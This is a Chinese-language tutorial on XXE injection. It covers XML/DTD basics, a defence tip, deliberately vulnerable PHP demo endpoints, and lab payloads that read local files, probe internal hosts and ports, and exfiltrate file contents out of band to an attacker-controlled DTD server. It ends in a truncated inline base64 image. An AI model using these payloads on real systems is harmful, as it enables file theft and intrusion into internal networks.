XXE漏洞原理及利用
0x01概述
XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞。XXE扩大了攻击面。
当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)
0x02 XML基础知识
2.1 XML基本结构
DTD 的作用:1. 定义元素(其实就是对应 XML 中的标签);2. 定义实体(对应XML 标签中的内容)
假如 DTD 位于 XML 源文件的外部,那么可以通过引用【外部文档说明】的方式,效果同上:
2.2 两种外部文档说明(DTD)
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">
2.3 四种实体声明(ENTITY)
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" >
<!ENTITY xxe "%body;">
]>
<reset>
<secret>login</secret>
</reset>
0x03 XXE漏洞
3.1 实验1(有回显)
测试demo:
<?php
libxml_disable_entity_loader (false);
//若为true,则表示禁用外部实体
$xmlfile = file_get_contents('php://input');
//可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
【利用1】读取本地文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
【利用2】读取含特殊字符的本地文件
如果文件中含有特殊字符,如&,<,>,",'等,通过上述方法会报错,需要借助CDATA,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/phpStudy/WWW/zhan/XXE-K/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil.dtd">
%dtd; ]> <roottag>&all;</roottag>
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
【利用3】内网ip探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144"> ]>
<creds>&goodies;</creds>
【利用4】内网端口探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144:22"> ]>
<creds>&goodies;</creds>
【利用5】内网系统源码探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144/bWAPP/login.php"> ]>
<creds>&goodies;</creds>
3.2 实验2(无回显)
测试demo:
<?php
libxml_disable_entity_loader (false);
//若为true,则表示禁用外部实体
$xmlfile = file_get_contents('php://input');
//可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
【利用1】外带数据读取文件
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd">
%remote;%int;%send;
]>
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.220.144:9999?p=%file;'>">
aaarticlea/png;base64,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